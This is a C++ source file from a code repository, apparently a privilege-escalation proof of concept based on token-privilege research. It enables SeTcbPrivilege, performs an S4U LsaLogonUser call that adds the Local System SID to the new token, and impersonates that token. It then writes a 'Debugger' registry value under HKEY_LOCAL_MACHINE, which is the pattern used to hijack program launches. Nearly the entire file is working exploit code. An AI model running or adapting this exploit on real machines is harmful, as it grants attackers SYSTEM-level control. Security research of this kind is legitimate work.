-
Notifications
You must be signed in to change notification settings - Fork 121
/
EnableSeTcbPrivilege.cpp
604 lines (518 loc) · 14 KB
/
EnableSeTcbPrivilege.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
/*
Reference:https://github.com/hatRiot/token-priv
Enable the SeBackupPrivilege of current process and then we can call LsaLogonUser with SeTcbPrivilege
and add arbitrary groups to the resulting token returned by this call.
We will add the group SID “S-1-5-18” to the token, this is the SID for the Local System account
and if we are using a token that possesses it, we will have full privilege on the system.
It will create a reg key at HKEY_LOCAL_MACHINE\SOFTWARE\testtcb.
We will have full privilege on the system.
*/
#include <windows.h>
#include <assert.h>
#include <NTSecAPI.h>
#include <sddl.h>
#include <stdio.h>
#include <tchar.h>
#include <TlHelp32.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "Secur32.lib")
#define STATUS_SUCCESS 0
#define EXTRA_SID_COUNT 2
#include <string>
using std::string;
void se_tcb_priv()
{
DWORD sID;
ProcessIdToSessionId(GetCurrentProcessId(), &sID);
std::string data = "\"C:\\Windows\\System32\\calc.exe\"";
HKEY handle;
LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\testtcb",
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&handle,
NULL);
if (stat != ERROR_SUCCESS) {
printf("[-] Failed opening key! %d\n", stat);
return;
}
stat = RegSetValueExA(handle, "Debugger", 0, REG_SZ, (const BYTE*)data.c_str(), data.length() + 1);
if (stat != ERROR_SUCCESS) {
printf("[-] Failed writing key! %d\n", stat);
return;
}
printf("[+] Key set");
RegCloseKey(handle);
return;
}
typedef struct _MSV1_0_SET_OPTION {
MSV1_0_PROTOCOL_MESSAGE_TYPE MessageType;
DWORD dwFlag;
BOOL bUnset;
} MSV1_0_SET_OPTION, *PMSV1_0_SET_OPTION;
HANDLE g_hHeap;
BOOL GetLogonSID(
_In_ HANDLE hToken,
_Out_ PSID *pLogonSid
)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS pTokenGroups = NULL;
//
// Get required buffer size and allocate the TOKEN_GROUPS buffer.
//
if (!GetTokenInformation(
hToken,
TokenGroups,
(LPVOID)pTokenGroups,
0,
&dwLength
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
fprintf(stderr, "GetTokenInformation failed (error: %u).\n", GetLastError());
goto Error;
}
pTokenGroups = (PTOKEN_GROUPS)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwLength);
if (pTokenGroups == NULL)
goto Error;
}
//
// Get the token group information from the access token.
//
if (!GetTokenInformation(
hToken,
TokenGroups,
(LPVOID)pTokenGroups,
dwLength,
&dwLength
))
{
fprintf(stderr, "GetTokenInformation failed (error: %u).\n", GetLastError());
goto Error;
}
//
// Loop through the groups to find the logon SID.
//
for (dwIndex = 0; dwIndex < pTokenGroups->GroupCount; dwIndex++)
if ((pTokenGroups->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID)
{
//
// Found the logon SID: make a copy of it.
//
dwLength = GetLengthSid(pTokenGroups->Groups[dwIndex].Sid);
*pLogonSid = (PSID)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwLength);
if (*pLogonSid == NULL)
goto Error;
if (!CopySid(dwLength, *pLogonSid, pTokenGroups->Groups[dwIndex].Sid))
{
goto Error;
}
break;
}
bSuccess = TRUE;
Error:
if (bSuccess == FALSE)
{
if (*pLogonSid != NULL)
HeapFree(g_hHeap, 0, *pLogonSid);
}
if (pTokenGroups != NULL)
HeapFree(g_hHeap, 0, pTokenGroups);
return bSuccess;
}
//
// Set/Unset privilege.
//
BOOL
SetPrivilege(
_In_ HANDLE hToken,
_In_z_ LPCTSTR lpszPrivilege,
_In_ BOOL bEnablePrivilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
fprintf(stderr, "LookupPrivilegeValue failed (error: %u).\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
//
// Enable the privilege or disable all privileges.
//
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
fprintf(stderr, "AdjustTokenPrivileges failed (error: %u).\n", GetLastError());
return FALSE;
}
else
{
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
fprintf(stderr, "The token does not have the specified privilege (%S).\n", lpszPrivilege);
return FALSE;
}
else
{
printf("AdjustTokenPrivileges (%S): OK\n", lpszPrivilege);
}
}
return TRUE;
}
VOID
InitLsaString(
_Out_ PLSA_STRING DestinationString,
_In_z_ LPSTR szSourceString
)
{
USHORT StringSize;
StringSize = (USHORT)strlen(szSourceString);
DestinationString->Length = StringSize;
DestinationString->MaximumLength = StringSize + sizeof(CHAR);
DestinationString->Buffer = (PCHAR)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, DestinationString->MaximumLength);
if (DestinationString->Buffer)
{
memcpy(DestinationString->Buffer, szSourceString, DestinationString->Length);
}
else
{
memset(DestinationString, 0, sizeof(LSA_STRING));
}
}
PBYTE
InitUnicodeString(
_Out_ PUNICODE_STRING DestinationString,
_In_z_ LPWSTR szSourceString,
_In_ PBYTE pbDestinationBuffer
)
{
USHORT StringSize;
StringSize = (USHORT)wcslen(szSourceString) * sizeof(WCHAR);
memcpy(pbDestinationBuffer, szSourceString, StringSize);
DestinationString->Length = StringSize;
DestinationString->MaximumLength = StringSize + sizeof(WCHAR);
DestinationString->Buffer = (PWSTR)pbDestinationBuffer;
return (PBYTE)pbDestinationBuffer + StringSize + sizeof(WCHAR);
}
int
run_s4u(HANDLE hToken)
{
BOOL bResult;
NTSTATUS Status;
NTSTATUS SubStatus = 0;
HANDLE hLsa = NULL;
HANDLE hTokenS4U = NULL;
OSVERSIONINFO osvi;
BOOL bIsLocal = TRUE;
LSA_STRING Msv1_0Name = { 0 };
LSA_STRING OriginName = { 0 };
PMSV1_0_S4U_LOGON pS4uLogon = NULL;
MSV1_0_SET_OPTION SetOption;
TOKEN_SOURCE TokenSource;
ULONG ulAuthenticationPackage;
DWORD dwMessageLength;
PBYTE pbPosition;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
PTOKEN_GROUPS pGroups = NULL;
PSID pLogonSid = NULL;
PSID pExtraSid = NULL;
PVOID pvProfile = NULL;
DWORD dwProfile = 0;
LUID logonId = { 0 };
QUOTA_LIMITS quotaLimits;
LPTSTR szCommandLine = NULL;
LPTSTR szDomain = TEXT(".");
LPTSTR szUsername = TEXT("test1");//the user who has SeTcbPrivilege
TCHAR seps[] = TEXT("\\");
TCHAR *next_token = NULL;
TOKEN_MANDATORY_LABEL TIL = { 0 };
g_hHeap = GetProcessHeap();
//
// Get OS version
//
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
#pragma warning(suppress : 4996; suppress : 28159)
bResult = GetVersionEx(&osvi);
if (bResult == FALSE)
{
fprintf(stderr, "GetVersionEx failed (error %u).", GetLastError());
goto End;
}
//
// Get logon SID
//
if (!GetLogonSID(hToken, &pLogonSid))
{
fprintf(stderr, "Unable to find logon SID.\n");
goto End;
}
//
// Connect (Untrusted) to LSA
//
Status = LsaConnectUntrusted(&hLsa);
if (Status != STATUS_SUCCESS)
{
fprintf(stderr, "LsaConnectUntrusted failed (error 0x%x).", Status);
hLsa = NULL;
goto End;
}
//
// Lookup for the MSV1_0 authentication package (NTLMSSP)
//
InitLsaString(&Msv1_0Name, MSV1_0_PACKAGE_NAME);
Status = LsaLookupAuthenticationPackage(hLsa, &Msv1_0Name, &ulAuthenticationPackage);
if (Status != STATUS_SUCCESS)
{
fprintf(stderr, "LsaLookupAuthenticationPackage failed (error 0x%x).", Status);
hLsa = NULL;
goto End;
}
//
// Create MSV1_0_S4U_LOGON structure
//
dwMessageLength = (DWORD)sizeof(MSV1_0_S4U_LOGON) + (EXTRA_SID_COUNT + (DWORD)wcslen(szDomain) + (DWORD)wcslen(szUsername)) * sizeof(WCHAR);
pS4uLogon = (PMSV1_0_S4U_LOGON)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwMessageLength);
if (pS4uLogon == NULL)
{
fprintf(stderr, "HeapAlloc failed (error %u).", GetLastError());
goto End;
}
pS4uLogon->MessageType = MsV1_0S4ULogon;
pbPosition = (PBYTE)pS4uLogon + sizeof(MSV1_0_S4U_LOGON);
pbPosition = InitUnicodeString(&pS4uLogon->UserPrincipalName, szUsername, pbPosition);
pbPosition = InitUnicodeString(&pS4uLogon->DomainName, szDomain, pbPosition);
//
// Misc
//
strcpy_s(TokenSource.SourceName, TOKEN_SOURCE_LENGTH, "User32");
InitLsaString(&OriginName, "S4U for Windows");
AllocateLocallyUniqueId(&TokenSource.SourceIdentifier);
//
// Add extra SID to token.
//
// If the application needs to connect to a Windows Desktop, Logon SID must be added to the Token.
//
pGroups = (PTOKEN_GROUPS)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, sizeof(TOKEN_GROUPS) + 2 * sizeof(SID_AND_ATTRIBUTES));
if (pGroups == NULL)
{
fprintf(stderr, "HeapAlloc failed (error %u).", GetLastError());
goto End;
}
//
// Add Logon Sid, if present.
//
if (pLogonSid)
{
pGroups->Groups[pGroups->GroupCount].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
pGroups->Groups[pGroups->GroupCount].Sid = pLogonSid;
pGroups->GroupCount++;
}
//
// If an extra SID is specified to command line, add it to the pGroups structure.
//
WCHAR systemSID[] = L"S-1-5-18";
ConvertStringSidToSid(systemSID, &pExtraSid);
pGroups->Groups[pGroups->GroupCount].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid;
pGroups->GroupCount++;
pGroups = NULL;
//
// Call LSA LsaLogonUser
//
// This call required SeTcbPrivilege privilege:
// - [1] to get a primary token (vs impersonation token). The privilege MUST be activated.
// - [2] to add supplemental SID with LocalGroups parameter.
// - [3] to use a username with a domain name different from machine name (or '.').
//
Status = LsaLogonUser(
hLsa,
&OriginName,
Network, // Or Batch
ulAuthenticationPackage,
pS4uLogon,
dwMessageLength,
pGroups, // LocalGroups
&TokenSource, // SourceContext
&pvProfile,
&dwProfile,
&logonId,
&hTokenS4U,
"aLimits,
&SubStatus
);
if (Status != STATUS_SUCCESS)
{
printf("LsaLogonUser failed (error 0x%x).\n", Status);
goto End;
}
WCHAR mediumInt[] = L"S-1-16-8192";
PSID sid = NULL;
if (!ConvertStringSidToSid(mediumInt, &sid))
printf("ConvertStringSidToSid fail!\n");
TIL.Label.Attributes = SE_GROUP_INTEGRITY;
TIL.Label.Sid = sid;
if (SetTokenInformation(hTokenS4U, TokenIntegrityLevel, (void*)&TIL, sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(sid)) == 0)
printf("SetTokenInformationFail: %d\n", GetLastError());
HANDLE cthread = GetCurrentThread();
if (SetThreadToken(&cthread, hTokenS4U) == 0) {
printf("SetThreadToken fail! %d\n", GetLastError());
}
else {
printf("Successfully impersonated S4U...\n");
se_tcb_priv();
}
goto End;
End:
//
// Free resources
//
if (Msv1_0Name.Buffer)
HeapFree(g_hHeap, 0, Msv1_0Name.Buffer);
if (OriginName.Buffer)
HeapFree(g_hHeap, 0, OriginName.Buffer);
if (pLogonSid)
HeapFree(g_hHeap, 0, pLogonSid);
if (pExtraSid)
LocalFree(pExtraSid);
if (pS4uLogon)
HeapFree(g_hHeap, 0, pS4uLogon);
if (pGroups)
HeapFree(g_hHeap, 0, pGroups);
if (pvProfile)
LsaFreeReturnBuffer(pvProfile);
if (hLsa)
LsaClose(hLsa);
if (hToken)
CloseHandle(hToken);
if (hTokenS4U)
CloseHandle(hTokenS4U);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return EXIT_SUCCESS;
}
int IsTokenSystem(HANDLE tok)
{
DWORD Size, UserSize, DomainSize;
SID *sid;
SID_NAME_USE SidType;
TCHAR UserName[64], DomainName[64];
TOKEN_USER *User;
Size = 0;
GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
if (!Size)
return 0;
User = (TOKEN_USER *)malloc(Size);
assert(User);
GetTokenInformation(tok, TokenUser, User, Size, &Size);
assert(Size);
Size = GetLengthSid(User->User.Sid);
assert(Size);
sid = (SID *)malloc(Size);
assert(sid);
CopySid(Size, sid, User->User.Sid);
UserSize = (sizeof UserName / sizeof *UserName) - 1;
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
free(sid);
printf("whoami:\n%S\\%S\n", DomainName, UserName);
if (!_wcsicmp(UserName, L"SYSTEM"))
return 0;
return 1;
}
VOID RetPrivDwordAttributesToStr(DWORD attributes, LPTSTR szAttrbutes)
{
UINT len = 0;
if (attributes & SE_PRIVILEGE_ENABLED)
len += wsprintf(szAttrbutes, TEXT("Enabled"));
if (attributes & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
len += wsprintf(szAttrbutes, TEXT("Enabled by default"));
if (attributes & SE_PRIVILEGE_REMOVED)
len += wsprintf(szAttrbutes, TEXT("Removed"));
if (attributes & SE_PRIVILEGE_USED_FOR_ACCESS)
len += wsprintf(szAttrbutes, TEXT("Used for access"));
if (szAttrbutes[0] == 0)
wsprintf(szAttrbutes, TEXT("Disabled"));
return;
}
int GetTokenPrivilege(HANDLE tok)
{
PTOKEN_PRIVILEGES ppriv = NULL;
DWORD dwRet = 0;
GetTokenInformation(tok, TokenGroups, ppriv, dwRet, &dwRet);
if (!dwRet)
return 0;
ppriv = (PTOKEN_PRIVILEGES)calloc(dwRet, 1);
GetTokenInformation(tok, TokenPrivileges, ppriv, dwRet, &dwRet);
printf("\nwhoami /priv\n");
for (int i = 0; i < ppriv->PrivilegeCount; i++)
{
TCHAR lpszPriv[MAX_PATH] = { 0 };
DWORD dwRet = MAX_PATH;
BOOL n = LookupPrivilegeName(NULL, &(ppriv->Privileges[i].Luid), lpszPriv, &dwRet);
printf("%-50ws", lpszPriv);
TCHAR lpszAttrbutes[1024] = { 0 };
RetPrivDwordAttributesToStr(ppriv->Privileges[i].Attributes, lpszAttrbutes);
printf("%ws\n", lpszAttrbutes);
}
return 1;
}
BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, priv, &luid))
{
printf("[!]LookupPrivilegeValue error\n");
return 0;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
printf("[!]AdjustTokenPrivileges error\n");
return 0;
}
IsTokenSystem(hToken);
GetTokenPrivilege(hToken);
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
printf("[!]OpenProcessToken error\n");
return 0;
}
EnablePriv(hToken, SE_TCB_NAME);
run_s4u(hToken);
return 0;
}